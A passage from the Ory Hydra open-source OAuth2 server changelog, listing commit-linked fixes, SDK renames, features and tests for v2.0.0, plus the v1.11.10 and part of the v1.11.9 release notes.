([#3286](https://github.com/ory/hydra/issues/3286)) ([f2daa7d](https://github.com/ory/hydra/commit/f2daa7d6456e4bd27cb9e4b3aa89e2790e59f2b3)): Closes https://github.com/ory/hydra/issues/3285 * Revert to normal crdb ([c9a248d](https://github.com/ory/hydra/commit/c9a248dd7cebe20009559e5625ab195a288eb656)) * **sdk:** GenericError type ([21c579a](https://github.com/ory/hydra/commit/21c579ad40d2802e91c3fcc6ee910e44499b07cb)) * **sdk:** Handle all error codes ([#3153](https://github.com/ory/hydra/issues/3153)) ([1ab345b](https://github.com/ory/hydra/commit/1ab345b9ee3e24231fe05d8a88f12f0698721f32)), closes [#2350](https://github.com/ory/hydra/issues/2350) * **sdk:** Make session uniquely named ([468e27d](https://github.com/ory/hydra/commit/468e27d0ddd206839f24166b85989dbcebcc215d)) * **sdk:** Omit DefaultSession ([954aa5f](https://github.com/ory/hydra/commit/954aa5f3a142e70e2c98f5917b9170bb57df91fc)) * **sdk:** Remove pattern from scope parameter ([1332fe6](https://github.com/ory/hydra/commit/1332fe6c4dd8fcdef5861ebb451f36b0c388aafe)), closes [#3142](https://github.com/ory/hydra/issues/3142) * **sdk:** Resolve type issues and regenerate SDK ([6880fea](https://github.com/ory/hydra/commit/6880feafb060d8df299aa75664aa4950dcad53c6)) * **sdk:** Use correct struct for response ([04b308f](https://github.com/ory/hydra/commit/04b308f35a389b8cb96341f8c431e2c0b521cb3f)) * Speed up health checks ([eafa2bb](https://github.com/ory/hydra/commit/eafa2bb488bf55e035d55f3974c0766e4ede123e)) * Support issuer with and without trailing slash ([d746fa4](https://github.com/ory/hydra/commit/d746fa499a73df617741e0a792f254970e1b504a)), closes [#1482](https://github.com/ory/hydra/issues/1482) * Update benchmark script ([63a84de](https://github.com/ory/hydra/commit/63a84de3f51c1ffd06729f78ced488ba72acb0c5)) * Use --yes flag in db-diff ([36ddb61](https://github.com/ory/hydra/commit/36ddb6155786c5b5ac6d83a3e3761a4768bded82)) * Use config func everywhere ([d1af32d](https://github.com/ory/hydra/commit/d1af32dc9e72f26e4e758ff2f2fc8c9071a4dc4e)) * Use correct context ([3ceefd7](https://github.com/ory/hydra/commit/3ceefd738d363c910e47a456a353603612d5674a)) * Use correct sdk tag ([#3318](https://github.com/ory/hydra/issues/3318)) ([aea37d6](https://github.com/ory/hydra/commit/aea37d6a358f8c440ac2a3a138adec77d7544aab)) * Use CreateWith ([9fbbbdf](https://github.com/ory/hydra/commit/9fbbbdf425fea6f2a1218c489d4d9f65c03daf75)) * Use StringSliceJSONFormat instead of StringSlicePipeDelimiter ([#3112](https://github.com/ory/hydra/issues/3112)) ([1d9891d](https://github.com/ory/hydra/commit/1d9891dcf14cdb0e18aa071e053675475f5d787b)): Closes https://github.com/ory/hydra/issues/2859 ### Code Generation * Pin v2.0.0 release commit ([4d83a28](https://github.com/ory/hydra/commit/4d83a289ac590fbdefca5ed933327b46c4abf65f)) ### Code Refactoring * `hydra keys` command ([e466d7c](https://github.com/ory/hydra/commit/e466d7c9d284da22742ad0769153f95e12daa9e8)) * `hydra token client` command ([81e79f2](https://github.com/ory/hydra/commit/81e79f2a34024c2c60b52bfd6f76518f0a179166)) * `hydra token delete` command ([aa338e1](https://github.com/ory/hydra/commit/aa338e1789e0d9946fe241d4dc2168f6dd17ca51)) * `hydra token introspect` command ([da3e2b4](https://github.com/ory/hydra/commit/da3e2b44382199dc601e8d01d9a3f4757a7c59a6)) * `hydra token revoke` command ([42e75c3](https://github.com/ory/hydra/commit/42e75c32c63cf029f4088bc277d4039059017771)) * CLI environment variables `HYDRA_URL` has been renamed to `ORY_SDK_URL` ([08bbbab](https://github.com/ory/hydra/commit/08bbbab1a9beb030cbea1487fd3d32e360a44c37)): BREKAING CHANGE: To follow ecosystem convention, environment variables `HYDRA_URL`, `HYDRA_ADMIN_URL` have been renamed to `ORY_SDK_URL`. * **client:** Make OAuth2 Client IDs system-chosen and immutable ([4002224](https://github.com/ory/hydra/commit/4002224439c681f9bc4aaa8af2793615fe5c0d95)), closes [#2911](https://github.com/ory/hydra/issues/2911) * **client:** Rename SDK methods and introduce `/admin` prefix ([0752721](https://github.com/ory/hydra/commit/0752721dd87f8d5b447e8ba3fa413cf2fd5608ba)) * **client:** Replace limit and offset parameters with page_token and page_size ([23585b5](https://github.com/ory/hydra/commit/23585b579776f5fe058a95b06556c27a8d1da0c4)) * **consent:** Rename SDK method from `acceptConsentRequest` to `adminAcceptOAuth2ConsentRequest` ([5885ab3](https://github.com/ory/hydra/commit/5885ab31d91eebb70f1b701baf4df9ee6dab75e2)) * **consent:** Rename SDK method from `acceptLoginRequest` to `adminAcceptOAuth2LoginRequest` ([fa27d0c](https://github.com/ory/hydra/commit/fa27d0cfcc97bbfdaaf7a696e0d82872c6859ccf)) * **consent:** Rename SDK method from `adminListSubjectConsentSessions` to `adminListOAuth2SubjectConsentSessions` ([bb51ba0](https://github.com/ory/hydra/commit/bb51ba0c40ba59839a7ea383170cdd559b22a8be)) * **consent:** Rename SDK method from `getLoginRequest` to `adminGetOAuth2LoginRequest` ([9053040](https://github.com/ory/hydra/commit/9053040fe47164e4167f0f15270b9e6ade81604f)) * **consent:** Rename SDK method from `getOAuth2ConsentRequest` to `adminGetOAuth2ConsentRequest` ([475efbc](https://github.com/ory/hydra/commit/475efbcf8e49ea105653a914aecf8a622e3ae5c1)) * **consent:** Rename SDK method from `rejectConsentRequest` to `rejectOAuth2ConsentRequest` ([e0e3da9](https://github.com/ory/hydra/commit/e0e3da9e627f931495ab459462abf000446e9785)) * **consent:** Rename SDK method from `rejectLoginRequest` to `rejectOAuth2LoginRequest` ([37a8839](https://github.com/ory/hydra/commit/37a8839fb1f0b1226504b49bff179328c7010226)) * **consent:** Rename SDK method from `rejectLogoutRequest` to `adminRejectOAuth2LogoutRequest` ([cdffa1e](https://github.com/ory/hydra/commit/cdffa1e053d67190c59b927b966eddb0aba6ba64)) * **consent:** Rename SDK method from `revokeAuthenticationSession` to `adminRevokeOAuth2LoginSessions` ([0a5ebe8](https://github.com/ory/hydra/commit/0a5ebe8fa1eadd00756eb084a2bc654b349ed071)) * **consent:** Rename SDK method from `revokeConsentSessions` to `adminRevokeOAuth2ConsentSessions` ([1108409](https://github.com/ory/hydra/commit/1108409abd1c7e6fdefcf95d376a0c7e33e85cde)) * Deprecate `--dangerous-allow-insecure-redirect-url` flag ([46b5887](https://github.com/ory/hydra/commit/46b58874643b91073caae79668feae6aab5b08d5)) * Deprecate `--dangerous-force-http` flag ([062734e](https://github.com/ory/hydra/commit/062734e16aef0c0d1425ce51ead7c3abeca71ba0)) * Drop TLS by default ([edb042e](https://github.com/ory/hydra/commit/edb042e12fb87cb448dd1b6c2dfa6fee104704c1)) * Environment variable `DATABASE_URL` has been deprecated ([8023d2a](https://github.com/ory/hydra/commit/8023d2a75be4466a0112d747c4b327969879a636)) * Finalize consent SDK methods ([53d225a](https://github.com/ory/hydra/commit/53d225a9806a73a9b2c9fef585ebd63301272f34)) * Generated UUID variant & version test ([#2793](https://github.com/ory/hydra/issues/2793)) ([697813e](https://github.com/ory/hydra/commit/697813e185045cabe997bf3a95de02089eea1a0f)), closes [#2792](https://github.com/ory/hydra/issues/2792) * Improve performance and reduce data use of consent persistence layer ([#2836](https://github.com/ory/hydra/issues/2836)) ([53862f2](https://github.com/ory/hydra/commit/53862f290c21e599822e11d7554d6437419ee502)): This patch changes the internal data structure and reduces four (sort of redundant) tables into one. As part of this change, a few new tools have been added: * Introduce the `hydra sql gen` command and a convenience Make target with autocompletion. The command reads migration templates from a source directory and produces migration files in a target directory. Its main function is to split a single source file into multiple files using split marks. * Introduce the `hack/db-diff.sh` command to generate database schema diffs at different commits. This script is used to view and review the impact of migrations on the database schema. * **jwk:** No longer prefix keys with `public` or `private` ([5e2ea0b](https://github.com/ory/hydra/commit/5e2ea0b6c65441983a7e85f9e8434f6068f4fcba)) * **jwk:** Rename SDK methods and introduce `/admin` prefix ([cd007bb](https://github.com/ory/hydra/commit/cd007bbb49bc8d544b5dcfa77088e76cf1ee0b2f)) * Make commands easier to consume ([cc9d9e5](https://github.com/ory/hydra/commit/cc9d9e5b5de070e6521f603ceef806c8284b849b)) * **oauth2:** Clean up changes ([c12b45c](https://github.com/ory/hydra/commit/c12b45cc446991e80acf5d5d0be4131c168fbeb7)) * **oauth2:** Rename SDK method from `deleteOAuth2Token` to `adminDeleteOAuth2Token` ([ea4caf7](https://github.com/ory/hydra/commit/ea4caf73415f131f3df9bf8e41961eac1af7d835)) * **oauth2:** Rename SDK method from `discoverOpenIDConfiguration` to `discoverOidcConfiguration` ([df467a0](https://github.com/ory/hydra/commit/df467a0605a941c4c60968b82b0380932b5e06b8)) * **oauth2:** Rename SDK method from `introspectOAuth2Token` to `adminIntrospectOAuth2Token` ([f2bd9a3](https://github.com/ory/hydra/commit/f2bd9a30a93c35ceb062be4d3c1178bc93e4b387)) * **oauth2:** Rename SDK method from `oauth2Token` to `performOAuth2TokenFlow` ([51b58e7](https://github.com/ory/hydra/commit/51b58e7eadf1b9686903e9c7e454754f02c29956)) * **oauth2:** Rename SDK method from `userinfo` to `getOidcUserInfo` ([4e554e7](https://github.com/ory/hydra/commit/4e554e7a938911f2a9a2a6b6ad2da602f0642095)) * Remove `/oauth2/flush` endpoint ([17c226c](https://github.com/ory/hydra/commit/17c226cc2ad54ed7afc7f7279646cbfabe9363ca)) * Remove `oauth2.include_legacy_error_fields` config ([148cadb](https://github.com/ory/hydra/commit/148cadb2009aabb9c5301bb3f4321e370259adcf)) * Remove HS512 and HS256 jwk key generator ([5fb3049](https://github.com/ory/hydra/commit/5fb3049ee8f04dc03b6365e52486d0fdae9ae0f6)) * Rename `access_log` to `request_log` ([223c8bc](https://github.com/ory/hydra/commit/223c8bc2b1ec002725f834e316735f2d9a34fe5b)) * Rename `hydra clients create` command ([76eb93c](https://github.com/ory/hydra/commit/76eb93c352d5f51bb6f76be82d6ac5fe3a7264be)): Renames the command to `hydra create client` and changes CLI flags. * Rename `hydra clients delete` command ([dea2fdd](https://github.com/ory/hydra/commit/dea2fdd0056770173aabad1c4a1497e8f5a8f38a)): Renames the command to `hydra delete client` and changes CLI flags. * Rename `hydra clients get` command ([edd4b43](https://github.com/ory/hydra/commit/edd4b43d279040534046f903cdd0f407322a7cf0)): Renames the command to `hydra get client` and changes CLI flags. * Rename `hydra clients import` command ([7de7841](https://github.com/ory/hydra/commit/7de78410fc90f8c1ce5b961e92ddb93be66353ba)): The `hydra clients import` command now supports reading from STDIN as well as the file system, and ships with output formats such as `json` and `json-pretty`. * Rename `hydra clients list` command ([1c0f971](https://github.com/ory/hydra/commit/1c0f971e8be56697d0f15f1cc59e6d68744f77ad)): Renames the command to `hydra list client` and changes CLI flags. * Rename `hydra clients update` command ([7482b77](https://github.com/ory/hydra/commit/7482b77c7124718da696564635094ba57d905922)) * Replace custom key generator with jose key generator ([d2d5512](https://github.com/ory/hydra/commit/d2d551230ede27296cb3b488dd23b00b19b65d1a)): Closes https://github.com/ory/hydra/issues/1825 * **sdk:** Consent SDK ([e800002](https://github.com/ory/hydra/commit/e800002d09a01cee8f3331541ae6734c499315ac)) * **sdk:** JSON Web Key SDK API ([06d565e](https://github.com/ory/hydra/commit/06d565ebb7771c266d33d9b74cf3eeb500ac9896)) * **sdk:** OAuth 2.0 Trust Relationship SDK ([b0a2b05](https://github.com/ory/hydra/commit/b0a2b0533941e9a784f5925d60653e520269c126)) * **sdk:** OAuth2 SDK API ([142b55f](https://github.com/ory/hydra/commit/142b55f295f811d963cf32c3e7946b9ccd542489)) * **sdk:** Rename errors ([6b60156](https://github.com/ory/hydra/commit/6b601564c1a5c4e29a40d21dc216663c8d7a6fe9)) * **sdk:** Rename oauth2 client operations and payloads ([cb742ad](https://github.com/ory/hydra/commit/cb742ad0d61844aa7bdff2bd8e455c5e7ad49b21)) * **sdk:** Rename PatchDocument to JsonPatchDocument ([a54ea69](https://github.com/ory/hydra/commit/a54ea697412186981d6eb999d121f43ed92cd0ca)) * **trust:** Rename SDK method from `deleteTrustedJwtGrantIssuer` to `adminDeleteTrustedOAuth2JwtGrantIssuer` ([e0be7cf](https://github.com/ory/hydra/commit/e0be7cfe16bf30efa0ebb9f52b5bd8f2fe19e53f)) * **trust:** Rename SDK method from `getTrustedJwtGrantIssuer` to `adminGetTrustedOAuth2JwtGrantIssuer` ([210116e](https://github.com/ory/hydra/commit/210116e32af61cc4720f8bc8da5348bb076e0a1a)) * **trust:** Rename SDK method from `listTrustedJwtGrantIssuers` to `adminListTrustedOAuth2JwtGrantIssuers` ([cb7b9e0](https://github.com/ory/hydra/commit/cb7b9e00dd07ec2d7abbd6357b1cd334b2cb20fe)) * **trust:** Rename SDK method from `trustJwtGrantIssuer` to `adminTrustOAuth2JwtGrantIssuer` ([7edf8df](https://github.com/ory/hydra/commit/7edf8df16ac0c9bb6c6f365c147e16240f210a1e)) ### Documentation * Add required key to all versions in the version schema ([#3233](https://github.com/ory/hydra/issues/3233)) ([ac61740](https://github.com/ory/hydra/commit/ac617401718f11a09f77e41592166ec45a9b23cb)) * Clarify command usage strings ([34cde51](https://github.com/ory/hydra/commit/34cde517e36d88f3e5bde2f7f440d6dd51fd6699)) * Remove mention of CircleCI ([#3240](https://github.com/ory/hydra/issues/3240)) ([75f7b50](https://github.com/ory/hydra/commit/75f7b500394d6322f03d61678fb86d70a97eaab3)) * Update config key descriptions ([919170f](https://github.com/ory/hydra/commit/919170ffd689cd8eddd44f3eb47d9fb498adf922)) ### Features * Add `db.ignore_unknown_table_columns` configuration property ([#3192](https://github.com/ory/hydra/issues/3192)) ([#3193](https://github.com/ory/hydra/issues/3193)) ([5842946](https://github.com/ory/hydra/commit/5842946d156ec1f66c13585da7cfc2be4f6ebb68)): The property allows to ignore scan errors when columns in the SQL result have no fields in the destination struct. * Add ability to allow token refresh from hook without overriding the session claims ([#3146](https://github.com/ory/hydra/issues/3146)) ([afa2ea0](https://github.com/ory/hydra/commit/afa2ea030363a1fed82863cfa6c94e4379c9d062)), closes [#3082](https://github.com/ory/hydra/issues/3082) * Add embedx helpers ([#3189](https://github.com/ory/hydra/issues/3189)) ([ee9032c](https://github.com/ory/hydra/commit/ee9032ce1005f930cd100bf52a170a5483fb3f79)) * Add new key `serve.public.tls.enabled` ([ecacc6d](https://github.com/ory/hydra/commit/ecacc6de1a206a93d700d1a38150bb83468d34a5)) * Add nid tests and resolve issues ([#3102](https://github.com/ory/hydra/issues/3102)) ([a84c5f5](https://github.com/ory/hydra/commit/a84c5f5064a935a745a52a42575fd57bc3dee94f)) * Add SQLite dependency to SQLite Dockerfile ([#3282](https://github.com/ory/hydra/issues/3282)) ([841a153](https://github.com/ory/hydra/commit/841a1535969e86ee6d2dc17c767c656f1908baae)) * Add tag descriptions ([c111a4c](https://github.com/ory/hydra/commit/c111a4ce2ccd33be592340d6cc28d85afa2f82dc)) * Add token prefixes ([60bab08](https://github.com/ory/hydra/commit/60bab0830591560900264d4bc8da3bf5b898cbf7)), closes [#2845](https://github.com/ory/hydra/issues/2845): This patch adds token prefixes to access tokens (`ory_at_`), refresh tokens (`ory_rt_`), and authorize codes (`ory_ac_`). Token prefixes are useful when scanning for secrets in e.g. git repositories. Token prefixes are only issued for non-JWTs. * Allow config context ([d894c97](https://github.com/ory/hydra/commit/d894c974d0dbb166ebb93478055cab5de18a5d11)) * Better control for cookie secure flag ([90d539f](https://github.com/ory/hydra/commit/90d539f53dd5d9bacf9dac5a20901990486799f1)) * **client:** Respect ip restrictions in client validation ([cafe89a](https://github.com/ory/hydra/commit/cafe89ad2285a141c642b26d079c2b865db60935)) * **cli:** Improve migrate command handling ([e252654](https://github.com/ory/hydra/commit/e2526547b1c1a7ed69543c2f2d4e005b17e6a016)) * **cli:** Significantly improved `create client` ([bb9c8ba](https://github.com/ory/hydra/commit/bb9c8ba4f7736b6e737528604445dbed05f1b997)), closes [#3091](https://github.com/ory/hydra/issues/3091): This patch adds output formats to `hydra create client` and makes all client fields configurable as flags. * Config hot reloading architecture ([bbe0406](https://github.com/ory/hydra/commit/bbe0406df63257a63ecc203bc9ff93417d9c6024)) * Custom client token ttl ([#3206](https://github.com/ory/hydra/issues/3206)) ([9ef671f](https://github.com/ory/hydra/commit/9ef671f284a95e69b60d032acd6da1a6a06219b5)), closes [#3157](https://github.com/ory/hydra/issues/3157): This change introduces a new endpoint that allows you to control how long client tokens last. Now you can configure the lifespan for each valid combination of Client, GrantType, and TokenType. * Deprecate autoincrement primary key in hydra_client ([#2784](https://github.com/ory/hydra/issues/2784)) ([6d01e2e](https://github.com/ory/hydra/commit/6d01e2e79b4925c84514d9d47dcd945aee2fafbf)), closes [#2781](https://github.com/ory/hydra/issues/2781) * Deprecate autoincrement primary key in hydra_jwk ([#2789](https://github.com/ory/hydra/issues/2789)) ([b76a151](https://github.com/ory/hydra/commit/b76a1514b79a3e5ff178057b762b01053854e976)), closes [#2788](https://github.com/ory/hydra/issues/2788) * Hot-reload TLS certificate ([#3265](https://github.com/ory/hydra/issues/3265)) ([1d13be6](https://github.com/ory/hydra/commit/1d13be6d3b2f03e45cb3f91e9a079e53861edc85)) * Implement NID ([b7fc2bf](https://github.com/ory/hydra/commit/b7fc2bff532aed6b87793d9f3236a69d1be322a1)) * Improve CLI messages ([e934c4f](https://github.com/ory/hydra/commit/e934c4f7769065d964ac9a441d901af8baac728a)) * Improve cloud cli compatibility ([93a626d](https://github.com/ory/hydra/commit/93a626d18a3132f3359e5223704b970a08cfb405)) * Improve cookie settings ([9717cad](https://github.com/ory/hydra/commit/9717cad6141a6c79f13170e7fcf15810fba39072)) * Improve refresh token error messages ([2769c9b](https://github.com/ory/hydra/commit/2769c9b369d133f1766912cdf07c4c0cf214d133)) * Improved cookie controls ([e7834ec](https://github.com/ory/hydra/commit/e7834ecb19e7c9dcb5fe591d991e3c8286f1b0ca)): New cookie configuration options have been introduced, allowing a higher degree of control: ```yaml serve: cookies: same_site_mode: Lax same_site_legacy_workaround: false domain: example.com names: login_csrf: ory_hydra_login_csrf consent_csrf: ory_hydra_consent_csrf session: ory_hydra_session ``` * Make all ui urls relative ([370a487](https://github.com/ory/hydra/commit/370a48747aea3e311d4ea87887533e9ed6d83b52)) * Make CORS config hot reloadable ([2d5c893](https://github.com/ory/hydra/commit/2d5c8930de693bbed56c9c9c890b744ef199df31)) * Make perform commands ory cloud-able ([954693f](https://github.com/ory/hydra/commit/954693feffbb619d65ac50ebccb8d7adb72c3ecf)) * Pass options from root ([2f91ef4](https://github.com/ory/hydra/commit/2f91ef471c53a6cc444331fbc840ec136e8a3fb7)) * Rebuild containers on start ([5b616d8](https://github.com/ory/hydra/commit/5b616d8ae6eb53071ccf73410c8509d85d415a23)) * Renaming to Ory Network ([#3298](https://github.com/ory/hydra/issues/3298)) ([fbcaaad](https://github.com/ory/hydra/commit/fbcaaade18f961c011e32ea713fb1f1fe0a1bb36)) * Replace hydra's transaction impl with ory/popx/transaction ([77d8dac](https://github.com/ory/hydra/commit/77d8dacb3007838407010c9998e31b62d452ade7)) * Respect local DNS restrictions ([7eb1d1c](https://github.com/ory/hydra/commit/7eb1d1c0ff7189bcd76792ac38e7425e9b7c6f86)) * **sdk:** Add missing bearer security definition ([a85bc7a](https://github.com/ory/hydra/commit/a85bc7ab52aa6bce20eec52985a465fc31544b57)) * **sdk:** Type nulls ([fe70395](https://github.com/ory/hydra/commit/fe70395ae58e52a573bfac7385941d4504a1e403)) * Support alternate hashing algorithms for client secrets ([ddba42f](https://github.com/ory/hydra/commit/ddba42f49837c48d4ee9bf9203ffa81f3b31757c)), closes [rfc6819#section-5](https://github.com/rfc6819/issues/section-5) [/datatracker.ietf.org/doc/html/rfc6819#section-5](https://github.com//datatracker.ietf.org/doc/html/rfc6819/issues/section-5): This patch adds support for hashing client secrets using pbkdf2 instead of bcrypt, which might be a more appropriate algorithm in certain settings. As we assume that most environments fall in this category, we also changed the default to pbkdf2 with 25.000 rounds (roughly 1-3ms per hash on an Apple M1 Max core). High hash costs are needed when hashing user-chosen passwords, as users often reuse passwords across sites. A high hash cost will make it much harder for the attacker to guess the user-chosen password and try using it on other sites (e.g. Google). As most client secrets are auto-generated, using high hash costs is not useful. The password (OAuth2 Client Secret) is not user chosen and unlikely to be reused. As such, there is little point in using excessive hash costs to protect users. High hash costs in a system like Ory Hydra will cause high CPU costs from mostly automated traffic (OAuth2 Client interactions). It has also been a point of critizism from some who wish for better RPS on specific endpoints. Other systems like Keycloak do not [hash client secrets at all](https://groups.google.com/g/keycloak-dev/c/TmsNfnol0_g), referencing more secure authentication mechanisms such as assertion-based client authentication. * Support ES256 for generating JWTs ([9a080ad](https://github.com/ory/hydra/commit/9a080ad2fa75c932da6ec0a40602cbfdeee8fd94)) * Switch to otelx ([#3108](https://github.com/ory/hydra/issues/3108)) ([05eaf6d](https://github.com/ory/hydra/commit/05eaf6d3be68f52cbed4de2a8586bfa777d1187f)) * Switch to otelx ([#3108](https://github.com/ory/hydra/issues/3108)) ([47d0518](https://github.com/ory/hydra/commit/47d0518efe71fbb57d6c2e494e33c73ba652089f)) * Tls on public port can now be configured without restrictions ([73d9517](https://github.com/ory/hydra/commit/73d9517572e665ae5b6bcdb53c3666d18a6137c3)) * **tracing:** Add lots of tracing spans ([#3125](https://github.com/ory/hydra/issues/3125)) ([2ee9229](https://github.com/ory/hydra/commit/2ee922938b435fdb58ca804cb29c3136347d8930)) * Upgrade go-swagger ([cce8d60](https://github.com/ory/hydra/commit/cce8d60969a33d28227e59c39b598105d5544bf4)) ### Tests * Add test for access token strategy ([b4865dd](https://github.com/ory/hydra/commit/b4865dd1b7515c7a05a4c198dad7bc6b83ad08b2)) * **conformance:** Add directory ([f5d0885](https://github.com/ory/hydra/commit/f5d088538190e4032cf7705a529eb33272bcac3a)) * **conformity:** Revert admin prefix ([580f33b](https://github.com/ory/hydra/commit/580f33b1fffab2efbf37281a7fd96a2293f35fb3)) * **conformity:** Sdk regression ([15f3cfc](https://github.com/ory/hydra/commit/15f3cfcb56dcc1891f521c4c10ee47c46c73a2ce)) * **e2e:** Add trailing slash to issuer ([fa23960](https://github.com/ory/hydra/commit/fa23960730ce253ef4daf283a183ca84fa1dcdc4)) * **e2e:** Fix build instructions ([415658d](https://github.com/ory/hydra/commit/415658d88d50e291a74ebc3df397781f1a1c521c)) * **e2e:** Fix issuer URL ([03b2340](https://github.com/ory/hydra/commit/03b2340837724e3482bbecba4677152d7c1d8615)) * **e2e:** Fix jwt regression ([647822d](https://github.com/ory/hydra/commit/647822d7a6a032472dfc6ab2eba1e3f5902db655)) * **e2e:** Resolve test regressions ([30855d9](https://github.com/ory/hydra/commit/30855d9e491a7125d2d1cd5c5d1bc3358138f7be)) * **e2e:** Respect metadata ([7bea2e8](https://github.com/ory/hydra/commit/7bea2e8f8f903fcc5468410daf3558bc83dbc14e)) * **e2e:** Upgrade cypress ([40be7bb](https://github.com/ory/hydra/commit/40be7bb5d4a7438dfb073cb5b161e0cabb5d51b5)) * **e2e:** Upgrade jwks-rsa ([8ddf880](https://github.com/ory/hydra/commit/8ddf880c351ab772c156933cdd685da5017e373f)) * Fix a flaky test ([51600f4](https://github.com/ory/hydra/commit/51600f499d9e9ebc18ca6293230b94034b498798)) * Fix assertions on nil pointers ([8710590](https://github.com/ory/hydra/commit/87105903a7e0ceb3192ab13530c838b407abf3a4)) * Fix conformity issues ([2875c19](https://github.com/ory/hydra/commit/2875c190c42416d308483b1b5b7567e53e27a5d8)) * Fix failing master pipeline ([#3283](https://github.com/ory/hydra/issues/3283)) ([f979adb](https://github.com/ory/hydra/commit/f979adb447ded4cefda2f7914544167474d60491)) * Fix flaky equal check ([1100aba](https://github.com/ory/hydra/commit/1100aba1e1c5b9617a2560e42c45c43d6636835b)) * Fix flaky equal check ([2c4615c](https://github.com/ory/hydra/commit/2c4615cea945e1243f3231680f11f609650e5524)) * Fix resp.bodyclose lint error ([f0f5223](https://github.com/ory/hydra/commit/f0f5223a7c84c1599658d2e33eeae6e83dd5f734)) * **hsm:** Do not evaluate HSM private key ([3420026](https://github.com/ory/hydra/commit/3420026a40532074a6787383e33912e7371cd1ae)) * **hsm:** Resolve test issues ([8db9e5b](https://github.com/ory/hydra/commit/8db9e5bb239abf569fbdf1613c3871c560981113)) * Implement network test structure for clients ([8a09175](https://github.com/ory/hydra/commit/8a091750bf4cfc757b1019b0f90b87b1c87f81b9)) * Improve jwk test layout ([3b7a1a7](https://github.com/ory/hydra/commit/3b7a1a754a625c627c754858533a52e4a1b61d5d)) * **migratest:** Add missing cockroach migrations and debug test failures ([5e6c099](https://github.com/ory/hydra/commit/5e6c09952447093add986a2b367cb2089c550d24)) * Refactor migration tests to use fixtures ([#2936](https://github.com/ory/hydra/issues/2936)) ([7b96651](https://github.com/ory/hydra/commit/7b966515fd712ac7ed0416b5c806b2c7cc245a2f)), closes [#2901](https://github.com/ory/hydra/issues/2901) * Remove unused fixture ([1cf5bd0](https://github.com/ory/hydra/commit/1cf5bd0fc9bbb1724410d97dee8e45e6a8d54c2b)) * Resolve test migration issues ([63b7303](https://github.com/ory/hydra/commit/63b7303d448ad2493e838fdc755349b1f53f6664)) * Test client update and double delete ([3a50926](https://github.com/ory/hydra/commit/3a50926a6996b88216cac3dbbedf8c6d394d89ee)) * Update fixtures ([e77c0d3](https://github.com/ory/hydra/commit/e77c0d35caab9cacc313fe217a4acd616689faa5)) * Update paths to reflect new admin api ([549deda](https://github.com/ory/hydra/commit/549deda85231b04d031f56ecd116e959c72d767d)) * Update resource limits ([9e9ea94](https://github.com/ory/hydra/commit/9e9ea94607c4d9b45e2951adc852d6cb7ffc2d96)) * Update snapshot ([1c9a0d2](https://github.com/ory/hydra/commit/1c9a0d2db34b4792ca4deebbb69ac90fc7af10f0)) * Update snapshots ([5f5c81e](https://github.com/ory/hydra/commit/5f5c81ea0883d83d5d1f6a52cca9c3a7148adfd8)) * Update snapshots ([01dbc0e](https://github.com/ory/hydra/commit/01dbc0eb54f92ecc8595a867bf03c3b6cfc382ce)) * Update snapshots ([34bc743](https://github.com/ory/hydra/commit/34bc743e4b6f3f7b3357237f9e43587a7195664c)) * Update snapshots ([c66a536](https://github.com/ory/hydra/commit/c66a536a08c8f4371df71fcec0a3db5db665c080)) * Use fixed time.Now function in pop ([08968aa](https://github.com/ory/hydra/commit/08968aa9b05bdac8c5dceeda6af837da582272b9)) ### Unclassified * unstaged - refactor sdk use across the board ([34dfc0f](https://github.com/ory/hydra/commit/34dfc0fe576c89514594df5d05e7dee7dc3fc198)) * code review: add missing nid ([2592451](https://github.com/ory/hydra/commit/2592451bbb9e2201a39299cf338563231adf73e8)) * code review ([8e961d0](https://github.com/ory/hydra/commit/8e961d0eb32fa5ca0d8d9dbb32d73231e9f5d80f)) * code review: contextualize config ([10c146b](https://github.com/ory/hydra/commit/10c146b49cb06f6498ec13c724d6be4fc3b35260)) * code review: make sure CreateClient doesn't use provided ID ([8eec85d](https://github.com/ory/hydra/commit/8eec85d35cf514ba59de29efa92226337b8015c5)) * code review: generate first NID randomly; add/update tests; fix db-diff ([00490cb](https://github.com/ory/hydra/commit/00490cbbc5111c07071eb118e3dac813825e2aa5)) * Create networks table ([a2c5e14](https://github.com/ory/hydra/commit/a2c5e142040c25e68668d881f7cfda8e360e4d8a)) # [1.11.10](https://github.com/ory/hydra/compare/v1.11.9...v1.11.10) (2022-08-25) This release resolves a critical regression introduced in Ory Hydra v1.11.9. Upgrade to this version and skip Ory Hydra v1.11.9 if you have an existing system. The bug can break existing refresh tokens from working. It includes no other significant changes. ### Bug Fixes * Improve refresh webhook getter ([d40b1da](https://github.com/ory/hydra/commit/d40b1daf2b62cd9868032fa1c376e1301936c0e1)) * Omit null lifespans ([#3212](https://github.com/ory/hydra/issues/3212)) ([2d080a0](https://github.com/ory/hydra/commit/2d080a01dc39a3f7155cf05938501d59bc5f21bb)) * Regression in session store ([5c4321d](https://github.com/ory/hydra/commit/5c4321d8d605c5c09537e345f56b447ac5856f95)) * Remove special char from snapshot symbols ([7128ad2](https://github.com/ory/hydra/commit/7128ad2a066674c4c1252f2cb1619055e5fbbbd9)) * Revert config changes ([4da64de](https://github.com/ory/hydra/commit/4da64de7502a4de8cca4db6cfa35bdcf485ba7ef)) * Session unmarshalling ([3bb943a](https://github.com/ory/hydra/commit/3bb943a9ac2d4309b43d1cb9bf27bac7cabb86f9)) ### Code Generation * Pin v1.11.10 release commit ([1a6c220](https://github.com/ory/hydra/commit/1a6c22070fc9550796c14b271e816be1dd1b8d78)) # [1.11.9](https://github.com/ory/hydra/compare/v1.11.8...v1.11.9) (2022-08-01) This release introduces two new features: - The ability to specify token lifespans on a per-client basis using a new HTTP endpoint; - The additional context in the refresh token hook. ### Bug Fixes * Backport fix for client specific CORS ([#1754](https://github.com/ory/hydra/issues/1754)) ([#3163](https://github.com/ory/hydra/issues/3163)) ([996258d](https://github.com/ory/hydra/commit/996258d50ec620c89a8f55a98436320ab99db62b)) * **docs:** Correct the tracing service name environment variable ([6e2343c](https://github.com/ory/hydra/commit/6e2343c68fb662b4af3839f56acff4f85c428f79)): While I believe this used to be specific to OTEL, it now appears to be configurable "globally", according to `spec/config.json`. * Fixed configuration editor for the documentation page ([#3105](https://github.com/ory/hydra/issues/3105)) ([0a77a06](https://github.com/ory/hydra/commit/0a77a069a9d3c7bea425694da44ac1cfbc37923a)): Closes https://github.com/ory/docs/issues/722 * Handle server error when refresh token requests come same time ([#3207](https://github.com/ory/hydra/issues/3207)) ([e66ba3c](https://github.com/ory/hydra/commit/e66ba3c6b3277e5be772f786df26509f939840e7)) * Link OIDC Certification image ([#3124](https://github.com/ory/hydra/issues/3124)) 